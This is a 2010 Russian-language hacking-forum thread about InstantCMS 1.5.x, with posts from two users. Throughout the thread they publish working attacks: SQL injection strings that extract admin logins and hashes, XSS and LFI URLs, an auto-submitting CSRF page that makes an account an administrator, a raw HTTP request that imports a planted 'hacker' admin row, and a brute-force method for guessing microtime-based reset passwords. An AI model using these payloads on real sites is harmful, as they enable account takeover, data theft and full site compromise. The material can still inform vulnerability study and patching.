ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #21  
Старый 11.05.2010, 19:40
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

sql inj instantCMS <== 1.5.3

Need:mq=off
как раньше писал в этой цмс почти все фильтруется, что передается методом post, код усеян регулярками.
Но есть одна особенность. Все это хорошо конечно, но фильтр пропускает
1) \
2) "
Вследствии чего даже обычный юзер по ошибке может вызвать ошибку бд. Допустим запостив на форуме пост оставив на конце \
ошибка есть, но толку нет, insert запросы никак не закрыть т.к '(одинарная кавычка) обрабатывается фильром и заменяется на `(апостроф).
Ближе к делу. Рассмотрим скрипт регистрации юзеров.
/components/registration/frontend.php
PHP код:
if($inDB->rows_count('cms_users''LOWER(nickname) LIKE "'.strtolower($nickname).'"'1)){
            
$msg .= $_LANG['ERR_NICK_EXISTS'].'<br/>';

/core/classes/db.class.php
PHP код:
public function rows_count($table$where$limit=0){
    
$sql "SELECT * FROM $table WHERE $where";

    if (
$limit) { $sql .= " LIMIT ".$limit; }

    
$result $this->query($sql);
    return 
$this->num_rows($result);

Суть:Перед тем как аккаунт занесется в бд, он проверится на совпадения.
$nickname Окружена двойными кавычками, они не трогаются фильтрами поэтому.
вбиваем d поле никнейм следующую шляпу.
Код:
1" and 1=if(ascii(substring((select concat(login,0x3a,password) from cms_users where id=1),1,1))=1,1,(select 1 union select 2))#
Есть одна проблема. Символы <> Жрет фильтр. Это печально, из-за этого на добычу хеша бинарным поиском уйдет больше времени и больше срача будет в логах. Пока еще не раздумывал, но я догадываюсь, как можно обойти. Как разберусь напишу результат.
P.S. переменная $email, проверяется только на регулярку через eregi(). Поставил старую версию php и начал Травить я его ядовитым нулл байтом. ничего хорошего не вышло. только ошибка в бд... байт чего-то синтаксис портит нехило.

С этого момента после нахождения мной уязвимости в этой кмс, о ней будет информирован разработчик.

Последний раз редактировалось The matrix; 11.05.2010 в 19:47..
 
Ответить с цитированием

  #22  
Старый 11.05.2010, 20:59
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

InstantCMS v1.5.3 © 2009


Пассивная XSS
Цитата:
/index.php?view=price&do=search&query=%22onMouseMov e=%22javascript:alert();%22
Цитата:
/admin/index.php?view=components&do=config&id=21&opt=edit &item_id=1%22%3E%3Cscript%3Ealert();%3C/script%3E
LFI

Нужны права админа.

Т.к. при ../ - слэш убираеться, юзаем ..\
/admin/index.php?view=..%5C..%5Cshell.txt%00
(В корне лежал файл shell.txt с phpinfo(); ), код выполнился.

SQL Inj
Нужны права админа.

/admin/index.php?view=components&do=config&id=21&opt=edit &item_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12+--+
PHP код:
if (isset($_SESSION['editlist'])){
                        
$id array_shift($_SESSION['editlist']);
                        if (
sizeof($_SESSION['editlist'])==0) { unset($_SESSION['editlist']); } else 
                        { 
$ostatok '(На очереди: '.sizeof($_SESSION['editlist']).')'; }
                     } else { 
$id $_REQUEST['item_id']; }
        
        
                     
$sql "SELECT * FROM cms_user_autoawards WHERE id = $id LIMIT 1";
                     
$result dbQuery($sql) ;
                     if (
mysql_num_rows($result)){
                        
$mod mysql_fetch_assoc($result);
                     } 
CSRF exploit:
Код HTML:
<html>
<title> Fs3M Chm0k3 v 3Nt0m ch4te! =* </title>
<div style='display: none'>
<form action="http://shop/admin/index.php?view=users&do=edit&id=21" method="post" enctype="multipart/form-data" name="addform" id="addform">
<input name="login" type="text" id="logininput" value="Login" />
<input name="nickname" type="text" id="login" value="Xenker"/>
<input name="email" type="text" id="nickname" value="abcd@localhost"/>
<input name="pass" type="password" id="pass"/>
<input name="pass2" type="password" id="pass2"/>
<select name="group_id" id="group_id"><option value="2" >Администраторы</option></select>
<input name="is_locked" type="radio" value="0" checked="checked" />
 Нет
<input name="do" type="hidden" id="do" value="update" />
<input name="add_mod" type="submit" id="add_mod" value="Сохранить профиль" />
</div>
<script>
document.addform.submit();
</script>
</html>

Примечание:
Там очень много SQL Inj, но, долбанное ЧПУ недаёт свободу!

Последний раз редактировалось Ctacok; 11.05.2010 в 21:09..
 
Ответить с цитированием

  #23  
Старый 12.05.2010, 03:01
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

Переустановка пароля админа и угадывание его
Уязвимы все версии.
Для эксплуатации нужно:
Админское мыло(по умолчанию отображается в профиле)
много времени.
В чем суть:
/components/registration/frontend.php
PHP код:
                $sql "SELECT * FROM cms_users WHERE email = '$email' LIMIT 1";
                
$result $inDB->query($sql) ;

                if (
$inDB->num_rows($result)>0){
                    
$usr $inDB->fetch_assoc($result);
        

                    
$newpassword substr(md5(microtime()), 06);
                    
$inDB->query("UPDATE cms_users SET password = '".md5($newpassword)."' WHERE id = ".$usr['id']) ;


                    
$mail_message $_LANG['HELLO'].', ' $usr['nickname'] . '!'"\n\n";
            
$mail_message $_LANG['HELLO'].', ' $usr['nickname'] . '!'"\n\n";    
                    
$mail_message .= $_LANG['REMINDER_TEXT'].' "'.$inConf->sitename.'".' "\n\n";
                    
$mail_message .= $_LANG['OUR_PASS_IS_MD5'] . "\n";
                    
$mail_message .= $_LANG['OUR_PASS_IS_MD5_TEXT'] . "\n\n";
                    
$mail_message .= '########## '.$_LANG['YOUR_LOGIN'].': ' .$usr['login']. "\n\n";
                    
$mail_message .= '########## '.$_LANG['YOUR_NEW_PASS'].': ' .$newpassword "\n\n";
                    
$mail_message .= $_LANG['YOU_CAN_CHANGE_PASS']."\n";
                    
$mail_message .= $_LANG['IN_CONFIG_PROFILE'].': 'cmsUser::getProfileURL($usr['login']) . "\n\n";
                    
$mail_message .= $_LANG['SIGNATURE'].', '$inConf->sitename ' ('.HOST.').' "\n";
                    
$mail_message .= date('d-m-Y (H:i)');   
                    
$inCore->mailText($email$inConf->sitename.' - '.$_LANG['REMINDER_PASS'], $mail_message); 
Этот скрипт восстанавливает пароль рассеяным юзерам. Но как он это делает.
1) Проверяет есть ли мыльник в бд.
2) Скрипт не церемонясь присваивает значение паролю равному первым шести символам хеша от значения, которое генерирует функция microtime().
Код:
Функция microtime() возвращает текущую метку времени с микросекундами. Эта функция
 доступна только
 на операционных системах, в которых есть системная функция gettimeofday(). 
При вызове без необязательного параметра, возвращается строка в формате "msec sec",
где sec - это количество секунд, прошедших с начала Эпохи
 Unix (The Unix Epoch, 1 января 1970, 00:00:00 GMT), а msec - это дробная часть.
она генерирует что-то на подобии.
0.xxxxxx00 [1273589840]
где xxxxxx-доли секунды
то что в квадратных скобках-это количество секунд, прошедших с начала Эпохи Unix.
Как юзать уязвимость:
Отсылаем запрос на восстановление пароля и сниффаем пакет. смотрим в ответе на запрос дату.
Там что-то вроде.
Tue, 11 May 2010 20:39:23 GMT
узнаем на локальной машине сколько прошло с момента 1970, 00:00:00 GMT.
2) А вот микросекунды придется брутить, их мы никак не узнаем. Список
создаем вида
0.xxxxxx00 [время в секундах прошедшее от момента "Unix" до момента отправки запроса на восстановление пароля]
пример: 0.30001200 1273589840
всесто xxxxxx вставляем все возможные комбинации из цифр, их 1 млн. Затем преобразуем их к виду.
substr(md5(значение), 0, 6)
возвращаем мд5 каждого получившегося значения и отрезаем от хеша символы после шестого знака.
Пример: 1a512b
Получился словарь 1млн слов. Один из этих слов-сгенерированный пассворд. Брутим веб форму.
У меня на дедике многопоточный брут дает до 11 ппс.
1000000/11=90.909 - то есть в худшем случае пароль мы узнаем через сутки. Геморно, а че поделать. На количество попыток залогиниться ограничений не стоит в форме авторизации.
P.S. Оказывается секунда-это много.
Этот баг не яркий пример приятной эксплуатации. Но все же он ведет к успеху. Т.К. В сгенерированном большом словаре 100% содержится правильный пассворд. И если ничего не остается, как вариант можно юзать.

Нарушение криптостойкости паролей
еще этот баг открывает новую опасность. Сгенерированный пароль сразу попадает в бд. Что это дает? Допустим стянул ты пароль админа через sql inj. А он не расшифровывается, пароль трудный. Что мы делаем:
1) Переустанавливаем пароль той же фичей. Напоминаю пароль состоит из 6 символов, которые являются цифрами или буквами.
2) Стягиваем через sql inj md5 и расшифровываем уже сгенерированный пароль. (думаю пароль из 6 символов [букв и цифр] расшифровать не трудно)
все

Видео с примером использования уязвимости:
https://forum.antichat.ru/threadedpost2138119.html#post2138119

Последний раз редактировалось The matrix; 12.05.2010 в 08:20..
 
Ответить с цитированием

  #24  
Старый 12.05.2010, 14:14
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

instantCMS 1.5.3
Blind SQL Inj.
Вывода ошибок нету. Как хотите так и крутите
Я включил себе вывод ошибок.
Цитата:
/rss/comments/catalog-12234%20or%20(select%20count(*)%20from%20informati on_schema.tables%20group%20by%20concat(version(),f loor(rand(0)*2)))--%20/feed.rss
Duplicate entry '5.0.45-community-nt1' for key 1

PHP код:
case 'catalog':    $result $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error());
                             if (
mysql_num_rows($result)){
                                
$data mysql_fetch_assoc($result);
                                if (
$short) { $data['title'] = substr($data['title'], 030).'...'; }
                                
$html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>';
                                if (
$onlylink) { $html 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; }
                             }
                             break; 
 
Ответить с цитированием

  #25  
Старый 12.05.2010, 19:59
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

Опачки. Ещё Blind.

Instant CMs 1.5.3

Цитата:
/rss/content/-1+OR+id=IF(ASCII((SELECT+USER()))%3E=114,1,0)%20--/feed.rss
т.к. юзер root. первый символ r = ASCII = 114.
Выведиться весь контент, НУ вы понеле кароче!

// /components/rssfeed/frontend.php?target=content&item_id=-1+OR+id=IF(ASCII((SELECT+USER()))%3E=114,1,0)%20--
Так даже удобнее ^_^

Последний раз редактировалось Ctacok; 12.05.2010 в 20:20..
 
Ответить с цитированием

  #26  
Старый 13.05.2010, 12:58
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

InstantCMS <==1.5.1 Внедерение sql кода Добавляем админа
Иногда бывают моменты, когда нет смысла искать уязвимость, чисто потому что разработчик продукта сам ее нашел за вас =)))
Уязвимость была найдена методом сравнения нового дистрибутива и старого. В результате было найдено много багов в старых дистрибутивах. Самый вкусный выкладываю.
файл
/core/ajax/dumper.php
Этот скрипт по идее создан для админа, но пускает и простых юзеров. Суть значит в чем? Он экспортит, импортит бд и удаляет бэкапы.
С экспортом бд ничего хорошего сказать не могу. На локалхосте робит, на некоторых сайтах работать отказывается. Но нам он и не нужен. Мы будем добавлять админа через import
PHP код:
if ($opt=='import'){
        
$uploaddump $dir.'/import.sql';    
        if (@
move_uploaded_file($_FILES['dumpfile']['tmp_name'], $uploaddump)) {
            include(
$_SERVER['DOCUMENT_ROOT'].'/includes/dbimport.inc.php');
            
$errors '';
            if(
dbRunSQL($uploaddump)){
                @
unlink($uploaddump);
                echo 
'<span style="color:green">Импорт базы данных завершен.</span>';    
            } else {
                echo 
'<span style="color:red">'.$errors.'</span>';        
            }
        } else {
            echo 
'<span style="color:red">Ошибка импорта базы</span>';        
        }
    } 
1) Передаем opt=import И через $_FILES шлем файл с evil запросом.
/includes/dbimport.inc.php
PHP код:
                                strstr($str'CREATE TABLE') ||
                                
strstr($str'INSERT INTO') ||
                                
strstr($str'DROP') ||
                                
strstr($str'UPDATE') ||
                                
strstr($str'ALTER TABLE')) 
select запросы неприемлимы импортер их не хавает. Но и смысла в них нет.
Значит как юзать.
1) Тупо шлем пакет:
Код:
POST /core/ajax/dumper.php HTTP/1.0
User-Agent: google/bot
Host: localhost
Proxy-Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=----------sBqCWtu9l05BT8ffSSXt4Q
Content-Length: 675

------------sBqCWtu9l05BT8ffSSXt4Q
Content-Disposition: form-data; name="opt"

import
------------sBqCWtu9l05BT8ffSSXt4Q
Content-Disposition: form-data; name="dumpfile"; filename="13-05-2010.sql"
Content-Type: application/octet-stream

INSERT INTO `cms_users` (`id`, `group_id`, `login`, `nickname`, `password`, `email`, `icq`, `regdate`, `logdate`, `birthdate`, `is_locked`, `is_deleted`, `rating`, `points`, `last_ip`) VALUES ('666','2','hacker','hacker','5f4dcc3b5aa765d61d8327deb882cf99','yIIIaCTbIu_JIaMep@JIaMep.ru','100200300','2007-11-23 12:41:57','2010-05-13 11:46:50','1980-01-01','0','0','2','0','0.0.0.0');
 


------------sBqCWtu9l05BT8ffSSXt4Q--
В бд появится админ
id:666
login:hacker
password : password (md5)
email: yIIIaCTbIu_JIaMep@JIaMep.ru
2)Для консерваторов:

Код:
</html>
<head>
<title> The matr1x</title>
</head>

	<h3>форма добавления админа</h3>
						<form id="importdump" name="importdump" action="http://www.localhost/core/ajax/dumper.php" method="post" enctype="multipart/form-data">
							<input type="hidden" name="opt" value="import" />
							<input name="dumpfile" type="file" id="dumpfile" size="25" />
							<input type="submit" value="добавить админа" />
				
						</form>

					
</body>
</html>
УСЕ! =)

Последний раз редактировалось The matrix; 13.05.2010 в 13:01..
 
Ответить с цитированием

  #27  
Старый 13.05.2010, 19:19
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

Цитата:
Сообщение от Ctacok  
instantCMS 1.5.3
Blind SQL Inj.
Вывода ошибок нету. Как хотите так и крутите
Я включил себе вывод ошибок.


Duplicate entry '5.0.45-community-nt1' for key 1

PHP код:
case 'catalog':    $result $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error());
                             if (
mysql_num_rows($result)){
                                
$data mysql_fetch_assoc($result);
                                if (
$short) { $data['title'] = substr($data['title'], 030).'...'; }
                                
$html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>';
                                if (
$onlylink) { $html 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; }
                             }
                             break; 
Ulalala ^_^
Цитата:
components/rssfeed/frontend.php?target=content&item_id=1234+union+sel ect+1,concat_ws(0x3a,user(),database(),version()), 3,4,14+--+
Обязательно 4,14!



Последний раз редактировалось Ctacok; 13.05.2010 в 19:26..
 
Ответить с цитированием

  #28  
Старый 13.05.2010, 23:33
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
Arrow

Цитата:
Сообщение от Ctacok  
instantCMS 1.5.3


PHP код:
case 'catalog':    $result $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error());
                             if (
mysql_num_rows($result)){
                                
$data mysql_fetch_assoc($result);
                                if (
$short) { $data['title'] = substr($data['title'], 030).'...'; }
                                
$html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>';
                                if (
$onlylink) { $html 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; }
                             }
                             break; 
Цитата:
Сообщение от Ctacok  
Ulalala ^_^


Обязательно 4,14!


запрос
Код:
SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1
В запросе ведь $target_id.... Откуда взялся item_id?

Дело в то, что Тут другой запрос. Твой не имеет совершенно никакого отношения к баге.
Результат: Кривой Эксплойт.
Суть этой скули в следующем.
Проследим и ОЧЕНЬ подробно по запчастям разберемся в работе скрипта. Так как тут очень много переходов по файлам.
/components/rssfeed/frontend.php

PHP код:
  require(PATH."/core/cms.php");
...................................

$inCore->loadClass('db');

...................................
    if (
file_exists($_SERVER['DOCUMENT_ROOT'].'/components/'.$target.'/prss.php')){
        
        
$inCore->includeFile('components/'.$target.'/prss.php');
        
        eval(
'rss_'.$target.'($item_id, $cfg, $rssdata);');    
        
        
$ready sizeof($rssdata['items']); 
функция includeFile() объявляется в
/core/cms.php.
вот она
PHP код:
    public function includeFile($file){
        include_once 
PATH.'/'.$file;
    } 
В своем запросе ты передал $target=content.
Инклудится
/components/content/prss.php
смотрим что в нем
PHP код:
    $cat dbGetFields('cms_category''id='.$item_id'id, title, description, NSLeft, NSRight'); 
Возвращаемся в
/core/cms.php и смотрим, что делает функция dbGetFields()
/core/cms.php
PHP код:
function dbGetFields($table$where$fields$order='id ASC'){
    
$inDB cmsDatabase::getInstance();
    
$sql "SELECT $fields FROM $table WHERE $where ORDER BY $order";
    
$result $inDB->query($sql) or die('DB_GET_FIELDS: '.mysql_error().'<pre>'.$sql);

    if (
$inDB->num_rows($result)){
        
$data $inDB->fetch_assoc($result);
        return 
$data;
    } else {
        return 
false;
    }

Функции поступают
dbGetFields(
'cms_category', 'id='.$item_id, 'id, title, description, NSLeft, NSRight')
Шаблонный вид
($table, $where, $fields, $order='id ASC')
как видно функция генерирует запрос
$sql = "SELECT $fields FROM $table WHERE $where ORDER BY $order";
первое значение $table='cms_category' второе значение. $where='id='.$item_id $fields='id, title, description, NSLeft, NSRight'
ну и $order='id ASC', который уже задан в функции. Теперь подставляем значения смотрим какой запрос нам сгенерирует функция.
Код:
SELECT id, title, description, NSLeft, NSRight FROM cms_category WHERE id=$item_id ORDER BY id ASC
как видно остался злосчастный $item_id, который не проинициализирован и не подвергается обработке.
Далее что делает функция.
dbGetFields
$inDB->num_rows($result)
$result = $inDB->query($sql)
$data = $inDB->fetch_assoc($result);
функции query() и fetch_assoc() вызовутся так:
вернемся в fronted.php
смотрим строчку
$inCore->loadClass('db');
loadClass() объявляется
в cms.php
PHP код:
    public function loadClass($class){
        
$classfile PATH.'/core/classes/'.$class.'.class.php';
        if (
file_exists($classfile)){
            include_once(
$classfile);
            return 
true;
        } 
нам подгружается db.class.php
PHP код:
public function fetch_assoc($result){
    return 
mysql_fetch_assoc($result);

PHP код:
public function num_rows($result){
    return (int)
mysql_num_rows($result);

PHP код:
public function query($sql){
    
$inConf cmsConfig::getInstance();

    
$result mysql_query($sql$this->db_link);

    if (
$inConf->debug){
        
$this->q_count  += 1;
        
$this->q_dump   .= '<pre>'.$sql.'</pre><hr/>';
    }

    if (
mysql_error() && $inConf->debug){
        die(
'<div style="margin:2px;border:solid 1px gray;padding:10px">DATABASE ERROR: <pre>'.$sql.'</pre>'.mysql_error().'</div>');
    }
    
    return 
$result;

как и видно по названия им вызываются соответствующие функции.
если num_rows() ничего тебе не вернет, то дело до fetch_assoc() не дайдет, функция вернет false. А вытекающее следующее.
вместо вывода ты получишь:
frontend.php
PHP код:
else {    
            
$rss '<p>Запрашиваемая вами RSS-лента не содержит записей.</p>';    
        } 
Отсюда следует вот что:
num_rows() должен вернуть не пустое значение.
exploit
components/rssfeed/frontend.php?
Код:
target=content&item_id=[id существующей категории]+union+select+1,concat_ws(0x3a,user(), database(),version()),3,4,5+--+
честно скажу я не стал вникать, почему твоя конструкция вернула тебе резуьтат(num_rows не вернул 0), ибо все эти хождения по файлам и функциям уже мой мозг вынесли напрчь. Но одно очевидно, я добавил новые категории(а админы их пустыми то и не держут) и твой exploit отказался работать.
вот такая система работы. Никаких 4,14 не нужно.
а ведь хорошая уязвимость =) даже mq = off не требуется.

Последний раз редактировалось The matrix; 14.05.2010 в 00:55..
 
Ответить с цитированием

  #29  
Старый 14.05.2010, 09:38
Аватар для Ctacok
Ctacok
Moderator - Level 7
Регистрация: 19.12.2008
Сообщений: 1,203
Провел на форуме:
5011696

Репутация: 2221


По умолчанию

Цитата:
$do = $inCore->request('do', 'str', 'rss');
$target = $inCore->request('target', 'str', 'rss');
$item_id = $inCore->request('item_id', 'str', 'all');
Вот откуда он взялся

А вообще.

PHP код:
...
$do      $inCore->request('do''str''rss');
$target  $inCore->request('target''str''rss');
$item_id $inCore->request('item_id''str''all');
...
$inCore->includeFile('components/'.$target.'/prss.php');
eval(
'rss_'.$target.'($item_id, $cfg, $rssdata);'); 
Посмотрим на файл с этой функцией..
PHP код:
function rss_content($item_id$cfg, &$rssdata){
....
        if (
$item_id == 'all') { $item_id 0; }    
        
//CHANNEL
        
if ($item_id){
            
$cat dbGetFields('cms_category''id='.$item_id'id, title, description, NSLeft, NSRight');
            
$catsql "AND c.category_id = cat.id AND cat.NSLeft >= {$cat['NSLeft']} AND cat.NSRight <= {$cat['NSRight']}"
Ponel ?)

v 1.5.3

Последний раз редактировалось Ctacok; 14.05.2010 в 09:42..
 
Ответить с цитированием

  #30  
Старый 14.05.2010, 12:23
Аватар для The matrix
The matrix
Reservists Of Antichat - Level 6
Регистрация: 09.07.2008
Сообщений: 102
Провел на форуме:
1744345

Репутация: 573
Отправить сообщение для The matrix с помощью ICQ
По умолчанию

Цитата:
Сообщение от Ctacok  
Вот откуда он взялся

А вообще.

PHP код:
...
$do      $inCore->request('do''str''rss');
$target  $inCore->request('target''str''rss');
$item_id $inCore->request('item_id''str''all');
...
$inCore->includeFile('components/'.$target.'/prss.php');
eval(
'rss_'.$target.'($item_id, $cfg, $rssdata);'); 
Посмотрим на файл с этой функцией..
PHP код:
function rss_content($item_id$cfg, &$rssdata){
....
        if (
$item_id == 'all') { $item_id 0; }    
        
//CHANNEL
        
if ($item_id){
            
$cat dbGetFields('cms_category''id='.$item_id'id, title, description, NSLeft, NSRight');
            
$catsql "AND c.category_id = cat.id AND cat.NSLeft >= {$cat['NSLeft']} AND cat.NSRight <= {$cat['NSRight']}"
Ponel ?)

v 1.5.3
Ну а я о чем писал? =) Я и эту функцию привел, и показал, что она делает и какой в результате получается запрос. И никакого target_id который ты привел в этом коде.
PHP код:
case 'catalog':    $result $inDB->query("SELECT title FROM cms_uc_items WHERE id = $target_id LIMIT 1") or die(mysql_error()); 
                             if (
mysql_num_rows($result)){ 
                                
$data mysql_fetch_assoc($result); 
                                if (
$short) { $data['title'] = substr($data['title'], 030).'...'; } 
                                
$html .= '<a href="/catalog/0/item'.$target_id.'.html#c">'.$data['title'].'</a>'
                                if (
$onlylink) { $html 'http://'.$_SERVER['HTTP_HOST'].'/catalog/0/item'.$target_id.'.html#c'; } 
                             } 
                             break; 
там нету и быть не может. Прочти внимательнее мой пост выше =)

Последний раз редактировалось The matrix; 14.05.2010 в 12:30..
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ